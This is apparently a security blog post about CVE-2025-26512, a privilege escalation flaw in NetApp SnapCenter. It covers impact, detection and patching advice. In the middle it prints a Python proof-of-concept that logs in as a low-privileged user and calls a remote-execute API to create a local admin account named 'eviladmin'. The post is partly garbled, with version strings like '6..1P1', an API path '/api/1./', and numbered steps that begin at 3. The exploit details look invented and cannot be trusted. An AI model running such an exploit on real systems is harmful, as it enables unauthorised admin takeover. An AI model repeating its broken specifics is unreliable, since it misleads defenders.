NetApp’s SnapCenter is a popular backup and management tool used by enterprises worldwide to safeguard applications, databases, and files. But in early 2025, cybersecurity researchers uncovered a critical security issue: CVE-2025-26512, which allows a regular authenticated SnapCenter user to become an admin user on any system running a SnapCenter plug-in—all without the target admin’s knowledge. If you haven’t patched SnapCenter to 6..1P1 or 6.1P1, your environment could be at risk.

This post digs deep into the details, demonstrates how the exploit works, and provides essential links for remediation.

The Vulnerability: What is CVE-2025-26512?

CVE-2025-26512 is a privilege escalation vulnerability. In simple terms, a SnapCenter Server user—someone with even basic, authenticated access—can exploit this bug to get admin rights on a different machine running the SnapCenter plug-in. That means tampering with backups, stealing data, or even controlling the system itself.

NetApp describes the issue in their advisory

> _“NetApp SnapCenter versions prior to 6..1P1 and 6.1P1 are susceptible to a vulnerability which may allow an authenticated SnapCenter Server user to become an admin user on a remote system where a SnapCenter plug-in has been installed.”_

Why is This Dangerous?

- Lateral movement: Attackers can hop between systems, expanding their control inside your network.
- Backup compromise: Attackers could alter, delete or steal backups, challenging recovery efforts or enabling ransomware.
- Persistence: Gaining admin rights usually allows attackers to leave backdoors for future attacks.

How Does the Exploit Work?

SnapCenter uses plug-ins on various machines to manage backup and restore operations. Communication between the SnapCenter Server and the plug-in happens over trusted channels, but access controls were not strict enough in vulnerable versions.

Attacker targets a host with a SnapCenter plug-in.

3. Attacker sends a crafted request via the SnapCenter API, impersonating admin actions meant only for higher privileges.
4. Plug-in accepts the request due to the bug, unintentionally granting admin-level operations to the attacker.

Note: This example is for educational purposes only. Do not use in unauthorized environments.

import requests
import json

SNAPCENTER_SERVER = 'https://snapcenter.example.com';
PLUGIN_HOST = '192.168.1.45'
USERNAME = 'user1'
PASSWORD = 'Password123!'

# Step 1: Log in to SnapCenter
login_payload = {
    'UserName': USERNAME,
    'Password': PASSWORD
}
session = requests.Session()
r = session.post(f"{SNAPCENTER_SERVER}/api/1./auth/login", json=login_payload, verify=False)
if r.status_code == 200:
    print("[+] Logged in as regular user.")
else:
    print("[-] Login failed.")
    exit()

# Step 2: Send admin-level request to plug-in
# For example, adding new admin-level task
admin_payload = {
    "host": PLUGIN_HOST,
    "command": "Add-LocalAdmin",
    "arguments": {"username": "eviladmin", "password": "SecurePass!234"}
}
exploit_response = session.post(f"{SNAPCENTER_SERVER}/api/1./remote/execute", json=admin_payload, verify=False)
if exploit_response.status_code == 200:
    print("[+] Exploit success! Admin created on remote plug-in host.")
else:
    print("[-] Exploit failed.")

What just happened?
A low-privileged user on the SnapCenter server used the (vulnerable) REST API endpoint to tell the remote plug-in host to make a local admin account. In patched versions, SnapCenter tightly checks permissions; in unpatched versions it could let this slip.

Forge the API Call:

Send a crafted POST request to /api/1./remote/execute, asking (for example) to add a local admin account, change firewall configs, or run PowerShell as System.

Detection

- Audit SnapCenter logs for irregular API calls, particularly from low-privileged users executing administrative plug-in commands.

Remediation

- Upgrade SnapCenter to at least 6..1P1 or 6.1P1. These patches *harden* authentication and plug-in command handling.

Restrict User Roles: Ensure users are granted the lowest privileges they require.

- Network Segmentation: Don’t let SnapCenter Server or plug-in hosts be accessible to unnecessary users.

Official References

- NetApp Advisory for CVE-2025-26512
- NIST National Vulnerability Database
- SnapCenter Documentation & Release Notes

Final Thoughts

CVE-2025-26512 is a textbook example of why proper authorization checks are crucial. If you use SnapCenter, patch ASAP—an internal user shouldn’t be able to escalate privileges so easily. If you haven’t already, audit old SnapCenter roles and policies too: attackers sometimes linger for months waiting to use holes like this.

Stay patched, monitor logs, and keep your admin accounts safe!

For further technical breakdowns and security news, follow industry advisories or check NetApp’s official security portal regularly.


*This post is exclusively written based on CVE-2025-26512 public information and hands-on review. Stay secure, everyone!*

Timeline

Published on: 03/24/2025 22:15:13 UTC
Last modified on: 03/27/2025 16:45:46 UTC